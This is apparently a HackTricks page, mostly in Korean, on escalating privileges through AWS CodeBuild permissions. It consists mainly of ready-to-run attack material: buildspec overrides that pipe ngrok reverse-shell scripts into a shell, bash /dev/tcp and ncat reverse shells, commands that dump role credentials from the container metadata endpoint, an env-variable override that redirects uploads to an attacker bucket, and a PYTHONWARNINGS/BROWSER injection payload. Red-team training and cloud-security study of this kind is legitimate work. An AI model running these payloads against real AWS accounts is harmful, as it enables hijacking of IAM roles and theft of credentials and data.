AWS - Codebuild Privesc

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

codebuild

자세한 정보:

AWS - Codebuild Enum

codebuild:StartBuild | codebuild:StartBuildBatch

이 권한들 중 하나만 있어도 새로운 buildspec으로 빌드를 트리거하고 프로젝트에 할당된 iam role의 토큰을 탈취하기에 충분합니다:

cat > /tmp/buildspec.yml <<EOF
version: 0.2

phases:
build:
commands:
- curl https://reverse-shell.sh/6.tcp.eu.ngrok.io:18499 | sh
EOF

aws codebuild start-build --project <project-name> --buildspec-override file:///tmp/buildspec.yml

참고: 이 두 명령의 차이는 다음과 같습니다:

  • StartBuild는 특정 buildspec.yml을 사용하여 단일 빌드 작업을 실행합니다.
  • StartBuildBatch는 보다 복잡한 구성(예: 여러 빌드를 병렬로 실행)을 가진 빌드 배치를 시작할 수 있게 해줍니다.

잠재적 영향: 첨부된 AWS Codebuild roles에 대한 직접적인 privesc.

StartBuild 환경 변수 재정의

프로젝트를 수정할 수 없더라도 (UpdateProject) 및 buildspec을 재정의할 수 없더라도, codebuild:StartBuild는 여전히 빌드 시점에 환경 변수를 다음을 통해 재정의할 수 있습니다:

  • CLI: --environment-variables-override
  • API: environmentVariablesOverride

빌드가 동작을 제어하기 위해 환경 변수(예: destination buckets, feature flags, proxy settings, logging 등)를 사용한다면, 이는 빌드 role이 접근할 수 있는 exfiltrate secrets을 수행하거나 빌드 내부에서 code execution을 얻기에 충분할 수 있습니다.

예제 1: Artifact/Upload 대상 리디렉션하여 Exfiltrate Secrets

빌드가 환경 변수로 제어되는 버킷/경로(예: UPLOAD_BUCKET)에 아티팩트를 발행하면, 이를 공격자가 제어하는 버킷으로 재정의합니다:

export PROJECT="<project-name>"
export EXFIL_BUCKET="<attacker-controlled-bucket>"

export BUILD_ID=$(aws codebuild start-build \
--project-name "$PROJECT" \
--environment-variables-override name=UPLOAD_BUCKET,value="$EXFIL_BUCKET",type=PLAINTEXT \
--query build.id --output text)

# Wait for completion
while true; do
STATUS=$(aws codebuild batch-get-builds --ids "$BUILD_ID" --query 'builds[0].buildStatus' --output text)
[ "$STATUS" = "SUCCEEDED" ] && break
[ "$STATUS" = "FAILED" ] || [ "$STATUS" = "FAULT" ] || [ "$STATUS" = "STOPPED" ] || [ "$STATUS" = "TIMED_OUT" ] && exit 1
sleep 5
done

# Example expected location (depends on the buildspec/project logic):
aws s3 cp "s3://$EXFIL_BUCKET/uploads/$BUILD_ID/flag.txt" -
예제 2: Python Startup Injection via PYTHONWARNINGS + BROWSER

빌드가 python3을 실행한다면 (buildspecs에서 흔함), buildspec을 건드리지 않고도 다음을 악용해 때때로 코드 실행을 얻을 수 있습니다:

  • PYTHONWARNINGS: Python은 category 필드를 해석하며 점으로 구분된 경로를 import합니다. 이를 ...:antigravity.x:...로 설정하면 stdlib 모듈 antigravity를 강제로 import합니다.
  • antigravity: webbrowser.open(...)을 호출합니다.
  • BROWSER: webbrowser가 실행할 대상을 제어합니다. Linux에서는 :로 구분됩니다. #%s를 사용하면 URL 인자가 쉘 주석이 됩니다.

이는 CodeBuild 역할 자격증명( http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI에서 제공됨)을 CloudWatch 로그에 출력한 다음, 로그 읽기 권한이 있으면 이를 복구하는 데 사용될 수 있습니다.

확장 가능: StartBuild JSON 요청 for the PYTHONWARNINGS + BROWSER 기법 ```json { "projectName": "codebuild_lab_7_project", "environmentVariablesOverride": [ { "name": "PYTHONWARNINGS", "value": "all:0:antigravity.x:0:0", "type": "PLAINTEXT" }, { "name": "BROWSER", "value": "/bin/sh -c 'echo CREDS_START; URL=$(printf \"http\\\\072//169.254.170.2%s\" \"$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI\"); curl -s \"$URL\"; echo CREDS_END' #%s", "type": "PLAINTEXT" } ] } ```

iam:PassRole, codebuild:CreateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

iam:PassRole, codebuild:CreateProject, codebuild:StartBuild 또는 codebuild:StartBuildBatch 권한을 가진 공격자는 실행 중인 빌드를 생성하여 임의의 codebuild IAM 역할로 권한을 상승시킬 수 있습니다.

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

JSON="{
\"name\": \"codebuild-demo-project\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"


REV_PATH="/tmp/rev.json"

printf "$JSON" > $REV_PATH

# Create project
aws codebuild create-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

# Build it
aws codebuild start-build --project-name codebuild-demo-project

# Wait 3-4 mins until it's executed
# Then you can access the logs in the console to find the AWS role token in the output

# Delete the project
aws codebuild delete-project --name codebuild-demo-project

Potential Impact: 임의의 AWS Codebuild role에 대한 직접 privesc.

Warning

In a Codebuild container the file /codebuild/output/tmp/env.sh contains all the env vars needed to access the metadata credentials.

This file contains the env variable AWS_CONTAINER_CREDENTIALS_RELATIVE_URI which contains the URL path to access the credentials. It will be something like this /v2/credentials/2817702c-efcf-4485-9730-8e54303ec420

Add that to the URL http://169.254.170.2/ and you will be able to dump the role credentials.

Moreover, it also contains the env variable ECS_CONTAINER_METADATA_URI which contains the complete URL to get metadata info about the container.

iam:PassRole, codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

이전 섹션과 마찬가지로, build project를 생성하는 대신 수정할 수 있다면, IAM Role을 지정하고 토큰을 훔칠 수 있습니다.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash"

# You need to indicate the name of the project you want to modify
JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"aws/codebuild/standard:1.0\",
\"computeType\": \"BUILD_GENERAL1_SMALL\"
},
\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\"
}"

printf "$JSON" > $REV_PATH

aws codebuild update-project --name codebuild-demo-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

잠재적 영향: 모든 AWS Codebuild role에 대한 직접 privesc.

codebuild:UpdateProject, (codebuild:StartBuild | codebuild:StartBuildBatch)

이전 섹션과 마찬가지로 iam:PassRole 권한 없이, 이 권한들을 악용하여 기존 Codebuild 프로젝트를 수정하고 이미 할당된 role에 접근할 수 있습니다.

REV_PATH="/tmp/codebuild_pwn.json"

# Enumerate then env and get creds
REV="env\\\\n      - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"

# Get rev shell
REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh"

JSON="{
\"name\": \"<codebuild-demo-project>\",
\"source\": {
\"type\": \"NO_SOURCE\",
\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n  build:\\\\n    commands:\\\\n      - $REV\\\\n\"
},
\"artifacts\": {
\"type\": \"NO_ARTIFACTS\"
},
\"environment\": {
\"type\": \"LINUX_CONTAINER\",
\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\",
\"computeType\": \"BUILD_GENERAL1_SMALL\",
\"imagePullCredentialsType\": \"CODEBUILD\"
}
}"

# Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild!

printf "$JSON" > $REV_PATH

aws codebuild update-project --cli-input-json file://$REV_PATH

aws codebuild start-build --project-name codebuild-demo-project

잠재적 영향: 연결된 AWS Codebuild 역할에 대한 직접 privesc.

SSM

ssm 세션을 시작할 수 있는 충분한 권한이 있으면 빌드 중인 Codebuild 프로젝트 내부에 들어갈 수 있습니다.

The codebuild project will need to have a breakpoint:

phases:
pre_build:
commands:
- echo Entered the pre_build phase...
- echo "Hello World" > /tmp/hello-world
      - codebuild-breakpoint

그런 다음:

aws codebuild batch-get-builds --ids <buildID> --region <region> --output json
aws ssm start-session --target <sessionTarget> --region <region>

자세한 정보는 check the docs.

(codebuild:StartBuild | codebuild:StartBuildBatch), s3:GetObject, s3:PutObject

특정 CodeBuild 프로젝트의 빌드를 시작/재시작할 수 있는 attacker가, 해당 프로젝트의 buildspec.yml 파일이 attacker가 쓰기 권한을 가진 S3 버킷에 저장되어 있다면, CodeBuild 프로세스에서 command execution을 얻을 수 있다.

참고: 이 권한 상승은 CodeBuild worker의 role이 attacker의 것과 다르고, 더 높은 권한을 가진 경우에만 관련된다.

aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./

vim ./buildspec.yml

# Add the following lines in the "phases > pre_builds > commands" section
#
#    - apt-get install nmap -y
#    - ncat <IP> <PORT> -e /bin/sh

aws s3 cp ./buildspec.yml s3://<build-configuration-files-bucket>/buildspec.yml

aws codebuild start-build --project-name <project-name>

# Wait for the reverse shell :)

다음과 같은 buildspec을 사용하여 reverse shell을 얻을 수 있습니다:

version: 0.2

phases:
build:
commands:
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1

Impact: 일반적으로 높은 권한을 가진 AWS CodeBuild 워커가 사용하는 role에 대한 직접 privesc.

Warning

buildspec은 zip 형식일 수 있으므로, 공격자는 루트 디렉터리의 buildspec.yml을 다운로드하고 unzip한 뒤 수정하고 다시 zip하여 업로드해야 합니다

More details could be found here.

Potential Impact: 연결된 AWS Codebuild roles에 대한 직접 privesc.

Tip

AWS 해킹 학습 및 실습:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 학습 및 실습: HackTricks Training GCP Red Team Expert (GRTE)
Az 해킹 학습 및 실습: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기